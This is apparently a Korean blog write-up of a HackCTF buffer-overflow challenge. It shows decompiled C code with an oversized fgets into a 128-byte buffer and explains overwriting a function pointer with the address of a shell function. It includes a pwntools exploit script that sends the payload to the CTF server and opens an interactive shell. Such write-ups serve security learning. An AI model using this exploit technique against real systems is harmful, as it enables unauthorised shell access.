2021-09-09 · 1

[시스템해킹] HackCTF < Basic_BOF #1 >

securityctf

이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.

https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2


CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  int (*v5)(); // [esp+8Ch] [ebp-Ch]

  v5 = sup;
  fgets(s, 133, stdin);
  v5();
  return 0;
}
int shell()
{
  return system("/bin/dash");
}

shell함수를 실행시키면 되는 문제 같습니다. fgets에서 BOF가 터집니다. 코드는 dummy[128] + shell 이면 해결될 것 같습니다. 왜 리턴까지 안덮냐고 궁금하실 수 있는데 코드를 다시한번 봐주세요. v5라는 함수를 실행시키는 부분이 있습니다. 그리고 우리는 s에서 부터 v5전까지 더미로 덮고 v5의 주소를 shell주소로 바꾸면 v5(); 이부분이 실행되면 shell함수가 실행되는 거와 똑같게 됩니다.

너무 내가 알고있는 기법에만 연연하지 말고 코드를 봐가며 문제를 풀면 더욱 쉽게 해결되실겁니다.

소스코드

더보기

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")

shell = e.symbols['shell']
offset = 128

payload = b'A'*128 + p32(shell)

p.send(payload)
p.interactive()

**[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[시스템해킹] Buffer Overflow(BOF) BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com


원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.

댓글

댓글을 삭제할까요?

관련 글

[시스템해킹] HackCTF < Basic_BOF #1 > · 나봄하랑